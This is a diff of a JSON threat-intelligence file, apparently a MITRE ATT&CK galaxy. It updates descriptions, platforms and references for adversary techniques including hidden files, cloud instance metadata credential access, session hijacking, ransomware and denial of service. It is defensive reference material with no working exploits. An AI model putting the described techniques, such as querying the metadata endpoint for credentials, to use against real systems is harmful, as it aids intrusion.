with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.", - "meta": { - "external_id": "T1129", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "API monitoring", - "DLL monitoring", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1129", - "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" - ] - }, - "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "value": "Execution through Module Load - T1129" - }, { "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", "meta": { @@ -3576,17 +5264,6 @@ "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "meta": { "external_id": "T1514", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1514", "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", @@ -3595,6 +5272,15 @@ "https://objective-see.com/blog/blog_0x2A.html" ] }, + "related": [ + { + "dest-uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "101c3a64-9ba5-46c9-b573-5c501053cbca", "value": "Elevated Execution with Prompt - T1514" }, @@ -3647,20 +5333,6 @@ "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", "meta": { "external_id": "T1158", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1158", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", @@ -3668,18 +5340,28 @@ "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" ] }, + "related": [ + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", "value": "Hidden Files and Directories - T1158" }, { - "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class (Citation: NetworkInterface). The Android TelephonyManager class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).", + "description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.", "meta": { "external_id": "T1422", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android" + "Android", + "iOS" ], "refs": [ "https://attack.mitre.org/techniques/T1422", @@ -3694,25 +5376,21 @@ "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", "meta": { "external_id": "T1522", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Azure activity logs", - "AWS CloudTrail logs", - "Authentication logs" - ], - "mitre_platforms": [ - "AWS", - "GCP", - "Azure" - ], "refs": [ "https://attack.mitre.org/techniques/T1522", "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" ] }, + "related": [ + { + "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", "value": "Cloud Instance Metadata API - T1522" }, @@ -3884,7 +5562,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1528", - "https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis", + "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app", @@ -3992,7 +5670,34 @@ "value": "Create infected removable media - T1355" }, { - "description": "An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.", + "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", + "meta": { + "external_id": "T1563", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Netflow/Enclave netflow", + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1563", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident" + ] + }, + "uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "value": "Remote Service Session Hijacking - T1563" + }, + { + "description": "An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.", "meta": { "external_id": "T1539", "kill_chain": [ @@ -4022,7 +5727,7 @@ "value": "Steal Web Session Cookie - T1539" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)", + "description": "**This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).**\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)", "meta": { "external_id": "T1366", "kill_chain": [ @@ -4057,11 +5762,12 @@ "value": "Modify Trusted Execution Environment - T1399" }, { - "description": "An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.\n\nEmbedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.\n\nPretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)", + "description": "An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.\n\nEmbedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.\n\nPretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)\n\nMalicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.", "meta": { "external_id": "APP-14", "kill_chain": [ - "mitre-mobile-attack:initial-access" + "mitre-mobile-attack:initial-access", + "mitre-mobile-attack:defense-evasion" ], "mitre_platforms": [ "Android", @@ -4079,23 +5785,54 @@ "value": "Masquerade as Legitimate Application - T1444" }, { - "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary(Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).", + "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "meta": { - "external_id": "T1448", + "external_id": "T1554", "kill_chain": [ - "mitre-mobile-attack:impact" + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Binary file metadata" ], "mitre_platforms": [ - "Android" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1448", - "https://blog.lookout.com/10-organizations-build-60-of-russian-toll-fraud-malware", - "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" + "https://attack.mitre.org/techniques/T1554" ] }, - "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", - "value": "Premium SMS Toll Fraud - T1448" + "uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "value": "Compromise Client Software Binary - T1554" + }, + { + "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", + "meta": { + "external_id": "T1548", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process command-line parameters", + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1548" + ] + }, + "uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "value": "Abuse Elevation Control Mechanism - T1548" }, { "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.", @@ -4138,7 +5875,7 @@ "value": "Rogue Cellular Base Station - T1467" }, { - "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", "meta": { "external_id": "T1486", "kill_chain": [ @@ -4190,7 +5927,7 @@ "value": "Exploit via Radio Interfaces - T1477" }, { - "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\n\n###Direct Network Flood###\n\nDirect Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\n###Reflection Amplification###\n\nAdversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", "meta": { "external_id": "T1498", "kill_chain": [ @@ -4206,19 +5943,19 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "AWS", + "GCP", + "Azure AD", + "SaaS", + "Azure", + "Office 365" ], "refs": [ "https://attack.mitre.org/techniques/T1498", "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", - "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", - "https://blog.cloudflare.com/reflections-on-reflections/", - "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/", - "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/", - "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", - "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" ] }, @@ -4226,7 +5963,7 @@ "value": "Network Denial of Service - T1498" }, { - "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\n### OS Exhaustion Flood\nSince operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n#### SYN Flood\nWith SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\n#### ACK Flood\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\n\n### Service Exhaustion Flood\nDifferent network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\n#### Simple HTTP Flood\nA large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\n#### SSL Renegotiation Attack\nSSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\n\n### Application Exhaustion Flood\nWeb applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n### Application or System Exploitation\nSoftware vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS 